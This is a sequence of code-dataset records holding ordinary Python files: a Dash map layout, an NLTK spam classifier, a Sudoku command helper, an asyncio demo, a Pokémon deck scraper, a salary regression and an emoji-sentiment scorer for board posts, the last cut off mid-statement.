srcDoc=open('Apoio/mapa_ufpb_centros.html', 'r').read(),width='100%',height='580px'), \r\n ]\r\n ),\r\n]\r\n\r\njumbotron_2 = dbc.Card(card_content_3, outline=True)\r\n\r\nbody_1 =html.Div([ \r\n\r\n\r\n dbc.Row(\r\n [\r\n dbc.Col(\r\n [\r\n\r\n jumbotron,\r\n\r\n\r\n\r\n ], md=4\r\n\r\n ),\r\n dbc.Col([\r\n \t jumbotron_2 \r\n\r\n ], md=8 ),\r\n\r\n ],no_gutters=True\r\n ),\r\n \r\n])\r\n\r\n\r\n\r\ndef mapa():\r\n layout = html.Div([\r\n nav,\r\n\r\n\tbody_1,\r\n html.Div([], id='value-container', style={'display': 'none'})\r\n\r\n #html.Iframe(id='mapa', srcDoc=open('C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\mapa_ufpb_centros.html', 'r').read(), width='100%', height='430'), \r\n\r\n #html.Iframe(id='mapa', srcDoc=open('Apoio/mapa_ufpb_centros.html', 'r').read(), width='100%', height='430'), \r\n ])\r\n return layout\r\n\r\n\r\n\r\n", "sub_path": "mapa.py", "file_name": "mapa.py", "file_ext": "py", "file_size_in_byte": 22732, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "navbar.Navbar", "line_number": 39, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 271, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 303, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 304, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 306, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 311, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 312, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 313, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 317, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 318, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 319, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 339, "usage_type": "call"}, {"api_name": "json.load", "line_number": 343, "usage_type": "call"}, {"api_name": "folium.Choropleth", "line_number": 358, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 384, "usage_type": "call"}, {"api_name": "folium.IFrame", "line_number": 387, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 390, "usage_type": "call"}, {"api_name": "os.path", "line_number": 390, "usage_type": "attribute"}, {"api_name": "folium.GeoJson", "line_number": 394, "usage_type": "call"}, {"api_name": "folium.Popup", "line_number": 397, "usage_type": "call"}, {"api_name": "folium.features.CustomIcon", "line_number": 438, "usage_type": "call"}, {"api_name": "folium.features", "line_number": 438, "usage_type": "attribute"}, {"api_name": "folium.IFrame", "line_number": 441, "usage_type": "call"}, {"api_name": "folium.Popup", "line_number": 442, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 444, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 523, "usage_type": "call"}, {"api_name": "dash_core_components.Tabs", "line_number": 524, "usage_type": "call"}, {"api_name": "dash_core_components.Tab", "line_number": 525, "usage_type": "call"}, {"api_name": "dash_core_components.Tab", "line_number": 526, "usage_type": "call"}, {"api_name": "dash_core_components.Tab", "line_number": 527, "usage_type": "call"}, {"api_name": "dash_core_components.Tab", "line_number": 528, "usage_type": "call"}, {"api_name": "dash_core_components.Tab", "line_number": 529, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 531, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.CardHeader", "line_number": 535, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.CardBody", "line_number": 536, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 539, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 540, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 551, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 551, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 552, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.RadioItems", "line_number": 554, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 565, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 566, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 568, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Card", "line_number": 585, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.CardHeader", "line_number": 588, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.CardBody", "line_number": 589, "usage_type": "call"}, {"api_name": "dash_html_components.Iframe", "line_number": 591, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Card", "line_number": 596, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 598, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 601, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 603, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 613, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 626, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 630, "usage_type": "call"}]} {"seq_id": "99849485", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 14 09:39:50 2018\n\n@author: linguista\n\"\"\"\n\nimport nltk\n#nltk.download()\nfrom nltk.book import *\n\n# Que texto é este?\nprint(text1.name)\n\n# Vejamos quantas palavras:\nprint(str(len(text1)));\n\n# Vejamos quantos termos diferentes:\nprint(str(len(set(text1))));\n\n# Vejamos a presença destas palavras (“big” e “monstrous”)\ntext1.concordance(\"monstrous\")\ntext1.concordance(\"big\")\n\ntext1.dispersion_plot([\"monstrous\", \"animal\", \"big\", \"terrible\", \"dangerous\"])\n\n\n# ---------------------------------------------------------\n\ndata = [];\ny = [];\nfile = open('spam.txt', 'r')\ntext_full = file.read().lower();\ntext = text_full.split('\\n');\n\nfor row in text:\n\tif(row[:3]=='ham'):\n\t\tclasse = 'ham';\n\t\tcontent = row[4:]\n\t\ty.append(0);\n\telse:\n\t\tclasse = 'spam';\n\t\tcontent = row[5:]\n\t\ty.append(1);\n\tdata.append([classe, content])\nfile.close();\n\n# Mais loads\nfrom nltk.corpus import stopwords\nporter = nltk.PorterStemmer()\nstopWords = set(stopwords.words('english'))\nfrom nltk.corpus import wordnet\n\nimport numpy as np\n\nattributes = [];\n\nvocab = set(nltk.word_tokenize(text_full));\nprint('Vocabulario inicial dos emails: '+str(len(vocab)));\n\n\n# Uso de tokenizers\nfor token in vocab: \n\tif(not(token in stopWords) and len(wordnet.synsets(token))>0):\n \ttoken = porter.stem(token); \n\tif(not(token in attributes)):\n \tattributes.append(token);\n\nprint('Vocabulario final dos emails: '+str(len(attributes)));\n\n\n# --------------------------------------------------\n# Bag-of-word\nbow = np.zeros([len(data), len(attributes)]);\ni = 0;\nfor row in data:\n\trow = nltk.word_tokenize(row[1]);\n \n\tfor word in row:\n\t\tword = porter.stem(word);\n\t\tif(word in attributes):\n \t\tindice = attributes.index(word);\n \t\tbow[i][indice] += 1; \t \n\ti+=1;\nX = bow;\n\n# MNB - treinamento\nfrom sklearn.naive_bayes import MultinomialNB\ngnb = MultinomialNB(alpha=1.0, class_prior=None, fit_prior=True)\ngnb_trained = gnb.fit(X[:4000], y[:4000])\ny_pred = gnb_trained.predict(X[4000:])\n\nprint('Taxa de acerto de: '+str(sum(y_pred == y[4000:])/len(y_pred)))", "sub_path": "nltk/intro_nltk.py", "file_name": "intro_nltk.py", "file_ext": "py", "file_size_in_byte": 2109, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "nltk.PorterStemmer", "line_number": 51, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 52, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 52, "usage_type": "name"}, {"api_name": "nltk.word_tokenize", "line_number": 59, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet.synsets", "line_number": 65, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 75, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 78, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.MultinomialNB", "line_number": 90, "usage_type": "call"}]} {"seq_id": "146734578", "text": "'''\ncmd_support.py 2021-05-05 Wed\n\nrenamed from cmd_stuff.py\n'''\n\n\n# <editor-fold desc=\"python imports\"\nimport logging as log\nimport sys\n# </editor-fold>\n\n# <editor-fold desc=\"local imports\"\nimport settings as g\nimport signals as sigs\nimport support as s\n# </editor-fold>\n\n# <editor-fold desc=\"globals\"\nCLR = g.OP_CLR\nSET = g.OP_SET\nBP = g.BREAK_POINT\nNL = g.NEW_LINE\n\nGRID_NAMES_1 = g.GRID_NAMES_1\nGRID_NAMES_2 = g.GRID_NAMES_2\nGRID_NAMES = g.GRID_NAMES\nMAX_GRID_LENGTH = g.NUMBER_OF_GRIDS\nBLOCK_PEERS = g.BLOCK_PEERS\nRCN_BLOCK_PEERS = g.RCN_BLOCK_PEERS\n# </editor-fold>\n\n# <editor-fold desc=\"logging setup\"\nlogger_except = log.getLogger(__name__)\nlogger_except.setLevel(log.INFO)\nformatter_except = log.Formatter(sigs.except_format)\n\nfile_handler_except = log.FileHandler(sigs.except_path)\nfile_handler_except.setLevel(log.ERROR)\nfile_handler_except.setFormatter(formatter_except)\nlogger_except.addHandler(file_handler_except)\n# </editor-fold>\n\nclass CmdS:\n block_sqr = ''\n block_cmd = ''\n cmd_main = ''\n cmd_alt = ''\n from_cmd = ''\n grid = ''\n grid_index = 0\n numbers = ''\n operation = SET\n square = ''\n value = ''\n\n letters_list = g.GRID_NAMES\n cmds_list = []\n multiple_cmds_list = []\n numbers_list = []\n peer_subs = []\n block_subs = ''\n\n\n def multiple_cmds_from_last_digits(cls, big):\n try:\n length = len('r1c2=n3')\n if len(big) > length:\n base_cmd = big[:6]\n last_digits = big[6:]\n cls.multiple_cmds_list = [base_cmd + digit for digit in last_digits]\n return True\n else:\n cls.multiple_cmds_list = []\n return False\n\n except Exception as e:\n logger_except.exception(e)\n sys.exit()\n\n @classmethod\n def set(cls, cmd):\n '''\n A basic_cmd (7-types) string of length = 7 is parsed ... ref the following.\n\n The following class attributes are generated\n --------------------------------------------------------------------------\n block_sqr = string of length= 2 BN where B & N is digit in '123456789'\n B is the row index of the bns grid\n N is the col index of the bns grid\n unless bns basic_cmd is param, then it is the 'RC' square\n (maybe should call alt_sqr ?)\n block_cmd = a basic_cmd of lentth = 7 for the bns grid see cmd param:\n cmd_main = basic_cmd string: see 1st choice of :param cmd below\n cmd_alt = basic_cmd string: see 2nd choice of :param cmd below\n from_cmd = basic_cmd string passed in\n grid_index = int: 0 | 1 | 2 | 3\n numbers = string of length 3 for the X,Y,Z described in :param cmd\n operation = string of length 1 = g.CLR(-) | g.SET(+)\n square = string of length 2 = usual Sudoku grid indexing e.g '11' to '99'\n of the basic_cmd passed int\n value = string of length 1, the last digit in the basic_cmd\n\n\n :param cmd: e.g. x{X} + y{Y} + {OP} + z(Z} length = 7\n where xyz = rcn | crn grid_index = 0\n = rnc | ncr grid_index = 1\n = ncr | cnr grid_index = 2\n = bns grid_index = 3\n where X, Y, Z = digit in '123456789'\n where OP = g.SET(=)\n g.CLR(-)\n\n :return: None\n '''\n try:\n cls.from_cmd = cmd\n cls.grid = f'{cmd[0]}{cmd[2]}{cmd[5]}'\n\n cls.grid_index = GRID_NAMES.index(cls.grid)\n if cls.grid_index >= MAX_GRID_LENGTH:\n cls.grid_index -= MAX_GRID_LENGTH\n cls.cmd_alt = cmd\n cls.cmd_main = f'{cmd[2]}{cmd[3]}{cmd[0]}{cmd[1]}{cmd[4:7]}'\n else:\n cls.cmd_main = cmd\n cls.cmd_alt = f'{cmd[2]}{cmd[3]}{cmd[0]}{cmd[1]}{cmd[4:7]}'\n\n cls.grid = f'{cls.cmd_main[0]}{cls.cmd_main[2]}{cls.cmd_main[5]}'\n cls.grid_index = GRID_NAMES.index(cls.grid)\n cls.numbers = f'{cls.cmd_main[1]}{cls.cmd_main[3]}{cls.cmd_main[6]}'\n cls.operation = cls.cmd_main[4]\n cls.square = f'{cls.cmd_main[1]}{cls.cmd_main[3]}'\n cls.value = f'{cls.cmd_main[6]}'\n cls.block_sqr = s.convert_bsrc(cls.square)\n cls.block_cmd = f'b{cls.block_sqr[0]}n{cls.value}{cls.operation}s{cls.block_sqr[1]}'\n except Exception as e:\n logger_except.exception(e)\n sys.exit()\n\n @classmethod\n def do_lists(cls):\n try:\n cls.cmds_list = []\n cls.numbers_list = []\n rcn_numbers = [0, 0, 0]\n rnc_numbers = [0, 0, 0]\n ncr_numbers = [0, 0, 0]\n bns_numbers = [0, 0, 0]\n\n if cls.grid == 'rcn':\n cls.grid_index = 0\n rcn_numbers = list(cls.numbers)\n elif cls.grid == 'bns':\n cls.grid_index = 3\n bns_numbers = list(cls.numbers)\n rcn_numbers[2] = bns_numbers[1]\n sqr = bns_numbers[0] + bns_numbers[2]\n rcn_numbers[0], rcn_numbers[1] = s.convert_bsrc(sqr)\n elif cls.grid == 'rnc':\n cls.grid_index = 1\n rnc_numbers = list(cls.numbers)\n rcn_numbers[0] = rnc_numbers[0]\n rcn_numbers[1] = rnc_numbers[2]\n rcn_numbers[2] = rnc_numbers[1]\n elif cls.grid == 'ncr':\n cls.grid_index = 3\n ncr_numbers = list(cls.numbers)\n rcn_numbers[0] = ncr_numbers[2]\n rcn_numbers[1] = ncr_numbers[1]\n rcn_numbers[2] = ncr_numbers[0]\n\n if bns_numbers == [0, 0, 0]:\n bns_numbers[1] = rcn_numbers[2]\n sqr = rcn_numbers[0] + rcn_numbers[1]\n bns_numbers[0], bns_numbers[2] = s.convert_bsrc(sqr)\n if ncr_numbers == [0, 0, 0]:\n ncr_numbers[0] = rcn_numbers[2]\n ncr_numbers[1] = rcn_numbers[1]\n ncr_numbers[2] = rcn_numbers[0]\n if rnc_numbers == [0, 0, 0]:\n rnc_numbers[0] = rcn_numbers[0]\n rnc_numbers[1] = rcn_numbers[2]\n rnc_numbers[2] = rcn_numbers[1]\n\n # convert lists to string\n cmds_numbers = []\n cmds_numbers.append(''.join(rcn_numbers))\n cmds_numbers.append(''.join(rnc_numbers))\n cmds_numbers.append(''.join(ncr_numbers))\n cmds_numbers.append(''.join(bns_numbers))\n\n letters_list = cls.letters_list.copy()\n cls.numbers_list = cmds_numbers\n for letters, digits in zip(letters_list, cls.numbers_list):\n interleave = ''.join(let + num for let, num in zip(letters, digits))\n cmd = interleave[0:4] + cls.operation + interleave[4:7]\n cls.cmds_list.append(cmd)\n BP\n except Exception as e:\n logger_except.exception(e)\n sys.exit()\n\n @classmethod\n def do_peers(cls):\n try:\n if cls.operation == SET:\n L = cls.letters_list[cls.grid_index]\n D = cls.numbers_list[cls.grid_index]\n # square = D[0:2]\n peers_row = f'{L[0]}{D[0]}{L[1]}!{D[1]}{CLR}{L[2]}{D[2]}'\n peers_col = f'{L[1]}{D[1]}{L[0]}!{D[0]}{CLR}{L[2]}{D[2]}'\n if cls.grid_index == 3:\n cls.peer_subs = [peers_row]\n elif cls.grid_index == 1 or cls.grid_index == 2:\n cls.peer_subs = [peers_row, peers_col]\n\n if cls.grid_index == 0:\n block_peers = RCN_BLOCK_PEERS[cls.square]\n num_value = D[2]\n row_block_peers = block_peers[0].replace('.', num_value)\n col_block_peers = block_peers[1].replace('.', num_value)\n cls.peer_subs = [peers_row, row_block_peers, peers_col, col_block_peers]\n\n # generate block only peers\n end_digit = cls.block_cmd[-1]\n peer = cls.block_cmd[:-1]\n peer = peer.replace(SET, CLR)\n peer += BLOCK_PEERS[end_digit]\n cls.block_subs = peer\n return True\n else:\n return False\n\n except Exception as e:\n logger_except.exception(e)\n sys.exit()\n\nif __name__ == '__main__':\n file = __file__\n print(f'running {file} ')\nelse:\n file = __file__\n print(f'importing {file} ')\n", "sub_path": "cmd_support.py", "file_name": "cmd_support.py", "file_ext": "py", "file_size_in_byte": 8740, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "settings.OP_CLR", "line_number": 20, "usage_type": "attribute"}, {"api_name": "settings.OP_SET", "line_number": 21, "usage_type": "attribute"}, {"api_name": "settings.BREAK_POINT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "settings.NEW_LINE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "settings.GRID_NAMES_1", "line_number": 25, "usage_type": "attribute"}, {"api_name": "settings.GRID_NAMES_2", "line_number": 26, "usage_type": "attribute"}, {"api_name": "settings.GRID_NAMES", "line_number": 27, "usage_type": "attribute"}, {"api_name": "settings.NUMBER_OF_GRIDS", "line_number": 28, "usage_type": "attribute"}, {"api_name": "settings.BLOCK_PEERS", "line_number": 29, "usage_type": "attribute"}, {"api_name": "settings.RCN_BLOCK_PEERS", "line_number": 30, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 35, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 36, "usage_type": "call"}, {"api_name": "signals.except_format", "line_number": 36, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 38, "usage_type": "call"}, {"api_name": "signals.except_path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 39, "usage_type": "attribute"}, {"api_name": "settings.GRID_NAMES", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 79, "usage_type": "call"}, {"api_name": "support.convert_bsrc", "line_number": 135, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 139, "usage_type": "call"}, {"api_name": "support.convert_bsrc", "line_number": 159, "usage_type": "call"}, {"api_name": "support.convert_bsrc", "line_number": 176, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 202, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 237, "usage_type": "call"}]} {"seq_id": "121582821", "text": "#!/usr/bin/env python3\r\n#\r\n\r\nimport asyncio\r\nimport time\r\n\r\n'''\r\nuture对象有几个状态：\r\n\r\n- Pending： 创建future，还未执行\r\n- Running： 事件循环正在调用执行任务\r\n- Done： 任务执行完毕\r\n- Cancelled： Task被取消后的状态\r\n\r\n创建future的时候，task为pending，\r\n事件循环调用执行的时候当然就是running，\r\n调用完毕自然就是done，\r\n如果需要停止事件循环，就需要先把task取消。\r\n可以使用asyncio.Task获取事件循环的task\r\n'''\r\n\r\nnow = lambda: time.time()\r\n\r\n\r\nasync def do_some_work(x):\r\n print(\"Waiting:\", x)\r\n await asyncio.sleep(x)\r\n return \"Done after {}s\".format(x)\r\n\r\n\r\nasync def main():\r\n coroutine10 = do_some_work(10)\r\n coroutine5 = do_some_work(5)\r\n coroutine3 = do_some_work(3)\r\n coroutine1 = do_some_work(1)\r\n\r\n tasks = [\r\n asyncio.ensure_future(coroutine10),\r\n asyncio.ensure_future(coroutine5),\r\n asyncio.ensure_future(coroutine3),\r\n asyncio.ensure_future(coroutine1)\r\n ]\r\n return await asyncio.gather(*tasks)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n start = now()\r\n\r\n loop = asyncio.get_event_loop()\r\n\r\n # 启动事件循环之后，马上ctrl+c，会触发 run_until_complete 的执行异常 KeyBorardInterrupt。然后通过循环 asyncio.Task 取消 future\r\n try:\r\n # main() 相当于一个打包好的 asyncio.wait(tasks) 或者 asyncio.gather(*tasks)\r\n loop.run_until_complete(main())\r\n except KeyboardInterrupt as e:\r\n # print(asyncio.Task.all_tasks())\r\n [print(task) for task in asyncio.Task.all_tasks()]\r\n # True表示cannel成功，loop stop之后还需要再次开启事件循环，最后在close，不然还会抛出异常\r\n\r\n # True表示cannel成功，loop stop之后还需要再次开启事件循环，最后再close，不然还会抛出异常：\r\n # [print(task.cancel()) for task in asyncio.Task.all_tasks()]\r\n print(asyncio.gather(*asyncio.Task.all_tasks()).cancel())\r\n loop.stop()\r\n loop.run_forever()\r\n finally:\r\n\r\n loop.close()\r\n\r\n print('time: ', now() - start)\r\n", "sub_path": "basic_/asyncio_/07_asyncio_TaskStatus.py", "file_name": "07_asyncio_TaskStatus.py", "file_ext": "py", "file_size_in_byte": 2140, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 38, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 39, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 40, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 41, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 43, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 50, "usage_type": "call"}, {"api_name": "asyncio.Task.all_tasks", "line_number": 58, "usage_type": "call"}, {"api_name": "asyncio.Task", "line_number": 58, "usage_type": "attribute"}, {"api_name": "asyncio.gather", "line_number": 63, "usage_type": "call"}, {"api_name": "asyncio.Task.all_tasks", "line_number": 63, "usage_type": "call"}, {"api_name": "asyncio.Task", "line_number": 63, "usage_type": "attribute"}]} {"seq_id": "69206849", "text": "import requests\nimport re\ndef match_count(card, card_counts):\n return next(filter(lambda x: x[0] == card[0], card_counts), (None, 0))[1]\nhtml = requests.get('https://www.pokemon-card.com/deck/deck.html?deckID=ppyMSS-yKlMYW-3pRMME').text\ncards = re.findall(r\"PCGDECK\\.searchItemName\\[(.*?)\\]='(.*?)'\", html, re.S)\ncard_counts = re.findall(r'(\\d{5})_(\\d{1})', html, re.S)\nresult = map(lambda x: (x[1], match_count(x, card_counts)), cards)\nfor card in result:\n print(card[0]+\":\"+card[1]+\"枚\")", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 496, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "requests.get", "line_number": 5, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 6, "usage_type": "call"}, {"api_name": "re.S", "line_number": 6, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 7, "usage_type": "call"}, {"api_name": "re.S", "line_number": 7, "usage_type": "attribute"}]} {"seq_id": "415914786", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 5 23:03:32 2019\n\n@author: anas\n\"\"\"\n\n# Importing the libraries\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('/Users/anas/Downloads/Machine Learning A-Z New-2/Part 2 - Regression/Section 4 - Simple Linear Regression/Salary_Data.csv')\n#independent variable is X\nX = dataset.iloc[:, :-1].values\n#Dependent Variable is Y\ny = dataset.iloc[:, 1].values\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0)\n\n# Feature Scaling ie reducing the values to compute\n\"\"\"from sklearn.preprocessing import StandardScaler\nsc_X =StandardScaler()\nX_train=sc_X.fit_transform(X_train)\nX_test=sc_X.fit_transform(X_test)\nsc_y = StandardScaler()\ny_train = sc_y.fit_transform(y_train.reshape(-1,1))\"\"\"\n\n\n#Fitting simple linear regression to training set\nfrom sklearn.linear_model import LinearRegression\nregressor=LinearRegression()\n#fitting regressor to training set and independent then dependent\nregressor.fit(X_train,y_train)\n#predection of test set\ny_pred=regressor.predict(X_test) \n\n# Visualising the Training set results\nplt.scatter(X_train, y_train, color = 'red')\nplt.plot(X_train, regressor.predict(X_train), color = 'blue')\nplt.title('Salary vs Experience (Training set)')\nplt.xlabel('Years of Experience')\nplt.ylabel('Salary')\nplt.show()\n\n# Visualising the Test set results\nplt.scatter(X_test, y_test, color = 'red')\nplt.plot(X_train, regressor.predict(X_train), color = 'blue')\nplt.title('Salary vs Experience (Test set)')\nplt.xlabel('Years of Experience')\nplt.ylabel('Salary')\nplt.show()", "sub_path": "anas_simple_linear1.py", "file_name": "anas_simple_linear1.py", "file_ext": "py", "file_size_in_byte": 1773, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}]} {"seq_id": "101295457", "text": "#!/bin/env python\n# coding:utf-8\nimport sqlite3\nimport MeCab\nimport argparse\n# ネガポジ辞書作成\nimport urllib.request\n#from mpi4py import MPI\nimport pandas as pd\nimport codecs\nimport logging\nimport json\nimport numpy as np\nlogger = logging.getLogger(\"logger\") #logger名loggerを取得\nlogger.setLevel(logging.DEBUG) #loggerとしてはDEBUGで\n\n\ndef get_emoji():\n with open(\"../notebook/emoji_sentiment.json\",\"r\") as f:\n emoji = json.load(f)\n return emoji\n\ndef main():\n parser = argparse.ArgumentParser(description='calculate board score')\n parser.add_argument('--db',type=str, default=\"/Volumes/DATA/data/board/board.db\")\n parser.add_argument('--dump',type=str, default=\"board_emoji_score.dump\")\n parser.add_argument('--logfile',type=str, default=\"02_emoji_score.log\")\n parser.add_argument('--fmdate',type=str,default=\"2017-05-01\")\n parser.add_argument('--todate',type=str,default=\"2017-05-31\")\n args = parser.parse_args()\n\n logging.basicConfig(level=logging.DEBUG,\n filename=args.logfile,\n format=\"%(asctime)s %(levelname)-7s %(message)s\")\n\n\n emoji=get_emoji()\n\n\n tagger = MeCab.Tagger('-Ochasen')\n # http://qiita.com/kasajei/items/0805b433f363f1dba785\n tagger.parse(\"\")\n # 文をMecabで単語分割\n def mecab_analysis(sentence):\n res=[]\n s = sentence.replace('\\n', ' ')\n node = tagger.parseToNode(s)\n while node:\n if node.surface != \"\": # BOS/EOSを除外\n ftlist = (node.feature).split(',')\n if ftlist[6] != \"*\":\n o = ftlist[6]\n else:\n o = node.surface\n res.append(o+\"\\t\"+ftlist[0]) # word \\t hinshi\n node = node.next\n return res\n\n def negaposi_score(word_list,dict):\n scores=[]\n score=0\n neg=0\n pos=0\n neu=0\n emojinum=0\n for wd in word_list:\n (word,hinshi)=wd.split(\"\\t\")\n if word in dict:\n lst=dict[word]\n neg=neg+lst[0]\n neu=neu+lst[1]\n pos=pos+lst[2]\n score=score+lst[3]\n emojinum+=1\n scores.append(lst[3])\n\n score_std=np.std(np.array(scores))\n return (len(word_list),emojinum,score,neg,neu,pos,score_std)\n\n con=sqlite3.connect(args.db)\n import pandas as pd\n cur = con.cursor()\n data = pd.io.sql.read_sql_query(\"select * from board where date between '\" + args.fmdate + \"' and '\" + args.todate + \"'\", con)\n cur.close()\n con.close()\n\n\n mcon=sqlite3.connect(\":memory:\")\n mcur = mcon.cursor()\n with open(\"board.sql\", \"r\") as f:\n lines = \"\".join(f.readlines())\n for sql in lines.split(\";\"):\n mcur.execute(sql)\n mcon.commit()\n\n for code, tno, mno, body in zip(data[\"code\"], data[\"tno\"], data[\"mno\"], data[\"body\"]):\n (sentence_wordnum,emoji_num, score,neg,neu,pos,score_std) = negaposi_score(mecab_analysis(body), emoji)\n if(score==0 and neg==0 and neu==0 and pos==0):\n continue\n mcur.execute(\"insert into 